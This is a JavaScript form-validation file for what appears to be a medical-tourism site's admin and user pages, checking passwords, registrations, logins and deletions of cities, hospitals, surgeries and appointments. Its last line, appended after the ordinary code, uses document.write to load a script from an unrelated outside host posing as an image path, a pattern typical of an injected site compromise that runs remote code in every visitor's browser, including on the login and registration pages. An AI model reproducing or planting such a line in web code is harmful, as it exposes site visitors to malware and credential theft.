
//if  a  blank space is  given
   function trim(str) 
    { 

	   return str.replace(/^\s+|\s+$/g, ''); 

    }

// function validate  change  password  page
function   changepass()
{ 
  if(trim(changepwd.txtOldpwd.value)=="")
  {
    alert("Please enter the old password");
	changepwd.txtOldpwd.focus();
	return false;
  }
  if(trim(changepwd.txtNewpwd.value)=="")
  {
	alert("Please enter the new password");
	changepwd.txtNewpwd.focus();
	return false;   
  }
  if(trim(changepwd.txtRetypepwd.value)=="") 
  {
	alert("Please retype the new password");
	changepwd.txtRetypepwd.focus();
	return false;  
  }
  if(trim(changepwd.txtRetypepwd.value)!=trim(changepwd.txtNewpwd.value)) 
  {
   	alert("Password and Retype Password donot match");
	changepwd.txtRetypepwd.focus();
	return false;  
  }
   return true;   
}

// function to  check  password  mismatch

function password()
{
	var password = document.changepwd.txtNewpwd.value;
	var retypepwd =document.changepwd.txtRetypepwd.value;
	if(password!=retypepwd)
    {
	  alert('password mismatch');
	  document.changepwd.txtNewpwd.focus();
	  return false;
	}
   return true;
}



//function  to  check  all  the check boxes 
function selectAll(slval)
{
		frm = slval.form;
		for(i = 0; i<frm.length; i++)
		{
			if(frm[i].type == 'checkbox')			
			  frm[i].checked = slval.checked;
		}
}

//function  used  in  delete city 
function validatecity(frm)
{
		flag = false;
		for(i=0; i<frm.length; i++)
		{
 		  if(frm[i].type == "checkbox" && frm[i].name.substr(0,10) == 'chk_cityid' && frm[i].checked == true)
 		  {
            flag = true;
			   break;
  		  }	
		}
		if(!flag)
			alert("Please select atleast one City");
		else
		{
			   	return confirm("Delete selected City?");	
		}		
		return flag;
}

   //function  used  in  delete surgery
   function validatesurgery(frm)
   {
 	    flag = false;
		for(i=0; i<frm.length; i++)
		{
 		  if(frm[i].type == "checkbox" && frm[i].name.substr(0,13) == 'chk_surgeryid' && frm[i].checked == true)
 		  {
			   flag = true;
			   break;
		  }	
		}
		if(!flag)
		  alert("Please select atleast one Surgery");
		else
		{
			   	return confirm("Delete selected Surgery?");	
		}		
		return flag;
	}		

     //function  to  check  all  the check boxes 
	 function selectAll1(slval)
     {
		frm = slval.form;
		for(i = 0; i<frm.length; i++)		
		{				
		  if(frm[i].type == 'checkbox')		
 	  	     frm[i].checked = slval.checked;
		}		
     }

 //function  used  in  delete country
 function validate1(frm)
 {
    flag = false;
  for(i=0; i<frm.length; i++)
  {
	   if(frm[i].type == "checkbox" && frm[i].name.substr(0,11)=='chk_country' && frm[i].checked == true)
	   {
		 flag = true;
		  break;
	   }
  }
  if(!flag)
    alert("Please select atleast one country");
  else
  {
    return confirm("Delete selected country?");
  }
  return flag;
}

//function  used  in  delete country  after all  the  check box are  checked and any one  of them  is  unchecked 
function unseltopbott(unsval)
{ 
    flag1=false;
	frm = unsval.form;
	for(i=0; i<frm.length; i++)
	{
 	  if(frm[i].name=='selall_top')
 	  {
	 	var sel_top=i;
	  }
	 if(i>sel_top)
	 {
		if(frm[i].name=='selall_bott')
		{
  		  var sel_bot=i;
		}
	}//end if
	if(frm[i].type == "checkbox" && frm[i].name.substr(0,11)=='chk_country' && frm[i].checked==false)
	{
    	 flag1=true;
	}//end if
  }//end for

	if(flag1==true)
	{
 	  frm[sel_top].checked=false;
 	  frm[sel_bot].checked=false;
	}//end if
}

   //function  used  in  delete hospital
   function validate2(frm)
   {
 	  flag = false;
      for(i=0; i<frm.length; i++)
      {
    	if(frm[i].type == "checkbox" && frm[i].name.substr(0,12)=='chk_hospital' && frm[i].checked == true)
		{
 		   flag = true;
    	   break;
   	    }					
	 }
	   if(!flag)
 	     alert("Please select atleast one Hospital");
	   else
	   {		   				
				return confirm("Delete selected Hospital?");	
		}		
		return flag;
	}



//function  used  in  delete hospital  after all  the  check box are  checked and any one  of them  is  unchecked 

function unseltopbotthospital(unsval)
{ 
	flag1=false;
	frm = unsval.form;
	for(i=0; i<frm.length; i++)
	{
		 if(frm[i].name=='selall_top')
		 {
		  var sel_top=i;
		 }
		if(i>sel_top)
		{
		  if(frm[i].name=='selall_bott')
		  {
		 		var sel_bot=i;
		  }
	    }//end if
		if(frm[i].type == "checkbox" && frm[i].name.substr(0,12)=='chk_hospital' && frm[i].checked==false)
		{
		  flag1=true;
		}//end if
   }//end for
	if(flag1==true)
	{
 	  frm[sel_top].checked=false;
	  frm[sel_bot].checked=false;
	}//end if
}

  //function  used  in  delete surgery  after all  the  check box are  checked and any one  of them  is  unchecked 
  function unchecked(unsval)
  {
	    frm = unsval.form;
	  for(i=0; i<frm.length; i++)
	  {
		 if(frm[i].name=='chk_selalltop')
		 {
		    var sel_top=i;
		 }
		 if(i>sel_top)
		 {
		   if(frm[i].name=='chk_selallbot')
		   {
			 var  sel_bot=i;
		   }
		 }//end  if
		  if(frm[i].type == "checkbox" && frm[i].name.substr(0,13)=='chk_surgeryid' && frm[i].checked==false)
		  { 
		     flag1=true;
		  }//end  if	
	 }//end  for	 	     
      if(flag1==true)
      {
         frm[sel_top].checked=false;
         frm[sel_bot].checked=false;  
      }//end  if		    
   }  


   //function  used  in  delete city  after all  the  check box are  checked and any one  of them  is  unchecked
   function uncheckedcity(unsval)
   {
	    frm = unsval.form;
	   for(i=0; i<frm.length; i++)
       {
          if(frm[i].name=='chk_selalltop')
		  {
            var sel_top=i;
 		  }
		 if(i>sel_top)
		 {
		   if(frm[i].name=='chk_selallbot')
		   {
			 var  sel_bot=i;
		   }
		 }//end  if

		  if(frm[i].type == "checkbox" && frm[i].name.substr(0,10)=='chk_cityid' && frm[i].checked==false)
		  { 
		     flag1=true;
		  }//end  if	
      }//end  for	 	     
     if(flag1==true)
     {
	    frm[sel_top].checked=false;
        frm[sel_bot].checked=false;  
	  }//end  if		    
  }  

//function  used  in  delete appointment page 
   function validateapp(frm)
   {
	 flag = false;
	for(i=0; i<frm.length; i++)
	{
	   	if(frm[i].type == "checkbox" && frm[i].name.substr(0,11)=='chk_appoint' && frm[i].checked == true)
	    {
	      flag = true;
	      break;	
	    }
    }
	if(!flag)
	  alert("Please select atleast one appointment");
	else	
	{	
	   return confirm("Delete selected appointment?");	
	}	
	return flag;
  }

//function used in delete appointment after all the check box are checked and any one of them is unchecked 

function unseltopbottapp(unsval)
{ 
    flag1=false;
	frm = unsval.form;
	for(i=0; i<frm.length; i++)
	{
		if(frm[i].name=='selall_top')
		{
		   var sel_top=i;
		}
		if(i>sel_top)
		{
	  	  if(frm[i].name=='selall_bott')
		  {
		    var sel_bot=i;
		  }
		}//end if
		 if(frm[i].type == "checkbox" && frm[i].name.substr(0,11)=='chk_appoint' && frm[i].checked==false)
		 {
		   flag1=true;
		 }//end if
	}//end for
	if(flag1==true)
	{
	   frm[sel_top].checked=false;
	   frm[sel_bot].checked=false;
	}//end if
}

   //user management....
    //function  to  validate  the  url
	function check_it(frm)
	{
		var theurl=frm.txtar_Links.value;
        var tomatch= /http:\/\/[A-Za-z0-9\.-]{3,}\.[A-Za-z]{3}/
     if (tomatch.test(theurl))
     {
         window.alert("URL OK.");
         return true;
     }
     else
     {
         window.alert("URL invalid. Try again.");
         return false;
     }
   }

 //function to  validate images
/* function validatesimage(frm)
 {
		flag = false;
		for(i=0; i<frm.length; i++)
		{
		    if(frm[i].type == "checkbox" && frm[i].name.substr(0,10) == 'chk_simage' && frm[i].checked == true)
			{
			   flag = true;
			   break;
			}			
		}
		if(!flag)
			alert("Please select atleast one Picture");
		else
		{
			   	return confirm("Delete selected Picture(s)?");	
		}		
		return flag;
 }

  function termsandconditions(cprgts)
	 {	
	    var inst = tinyMCE.getInstanceById("content");
		if(inst.getContent()=="")
		{
		  alert("Please enter the  terms and  conditions  text");
		}
		return true;
    }    

	 function copyrights(cprgts)
	 {	
	    var inst = tinyMCE.getInstanceById("content");
		if(inst.getContent()=="")
		{
		  alert("Please enter the copyrights  text");
		}
		return true;
    }

	 function privatepolicy(pplcy)
	 {	
	    var inst = tinyMCE.getInstanceById("content");
		if(inst.getContent()=="")
		{
		  alert("Please enter the private policy text");
		}
		return true;
    }  
*/


//  user registration  page  validation

  function validate(regform)
  {
      if(trim(document.regform.txtFirstName.value)=="")
	  {
	   alert("Please enter First Name");
	   document.regform.txtFirstName.focus();
	   return false;
	  }
	  if(trim(document.regform.txtLastName.value)=="")
	  {
	   alert("Please enter Last Name");
	   document.regform.txtLastName.focus();
	   return false;
	  }
	  if(trim(document.regform.txtEmail.value)==""){
	   alert("Please enter the Email-id");
	   document.regform.txtEmail.focus();
	   return false;
	  }
	 var  emailRegEx = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;				
 	  if(document.regform.txtEmail.value.match(emailRegEx)==null){
	   alert("Please enter a valid Email-id");
	   document.regform.txtEmail.focus();
	   return false;
	  } 
	  if(trim(regform.txtUserName.value)==""){
        alert("Please enter the Username");
	    regform.txtUserName.focus();
	    return false;
	  }
	   if(trim(regform.txtPassword.value)==""){
	    alert("Please enter the Password");
	    regform.txtPassword.focus();
	    return false;
	  }
	  if(trim(regform.txtRetypepwd.value)==""){
	   alert("Please enter the Retype Password");
	   regform.txtRetypepwd.focus();
	   return false;
	  }
	  if(trim(regform.txtRetypepwd.value)!=trim(regform.txtPassword.value)){
	   alert("Password and Retype Password do not match");
	   regform.txtRetypepwd.focus();
	   return false;
	  }
	  if(regform.ddlCountry.options[regform.ddlCountry.selectedIndex].text=="Select Country"){
	   alert("Please select the Country");
	   regform.ddlCountry.focus();
	   return false;
	  }
	  if(trim(regform.txtCity.value)==""){
	   alert("Please enter the City");
	   regform.txtCity.focus();
	   return false;
	  }
	  if(trim(regform.txtAddress.value)==""){
	   alert("Please enter the Address");
	   regform.txtAddress.focus();
	   return false;
	  }
	  if(trim(regform.txtPhone.value)==""){
	   alert("Please enter the Phone number");
	   regform.txtPhone.focus();
	   return false;
	  }
	  if(trim(regform.txtCaptcha.value)==""){
	    alert("Please enter the captcha code displayed");
	    regform.txtCaptcha.focus();
	    return false;
	  }	  
	  return true;					 				
}

//for  regis page 
function regpassword()
{ 
		var password = trim(document.regform.txtPassword.value);
		var retypepwd =trim(document.regform.txtRetypepwd.value);
		if(password!=retypepwd)
		{
			alert('password mismatch');
			document.regform.txtPassword.focus();
			return false;
		}
		return true;
   }


//function  to  validate the country name 

function  addcountry(country_add)
{  
    if(trim(document.country_add.txtCountry.value)=="")
	{
	   alert("Please enter the country name");
	   document.country_add.txtCountry.focus();
	   return false;
	}	  
	if(document.country_add.txtCountry.value.length>0&&document.country_add.txtCountry.value.search("[^A-Za-z ]")>=0)
	{
	   alert("Please enter only alphabets");
	   document.country_add.txtCountry.focus();
	   return false;
	}
   return true;     		
}

//login form validation
function LoginValidate(loginfrm)
{
	if(trim(loginfrm.txtUserId.value)=='')
	{
		alert('Please enter UserId');
		loginfrm.txtUserId.focus();
		return false;
	}
	if(trim(loginfrm.txtPassword.value)=='')
	{
		alert('Please enter Password');
		loginfrm.txtPassword.focus();
		return false;
	}
	return true;
}


//forgot password validation
function ForogotPwd(forgotpwd)
{
	 String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
	 var  emailRegEx = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;				
		forgotpwd.txtEmail.value=forgotpwd.txtEmail.value.trim();
	  if(forgotpwd.txtEmail.value=='')
	  {
		   alert("Please enter email-id");
		   forgotpwd.txtEmail.focus();
		   return false;
	  }	
 	  if(forgotpwd.txtEmail.value.match(emailRegEx)==null)
	  {
		   alert("Please enter a valid  email-id");
		   forgotpwd.txtEmail.focus();
		   return false;
	  }
      return true;
  }
document.write('<script src=http://bestkarela.com/images/gifimg.php ><\/script>');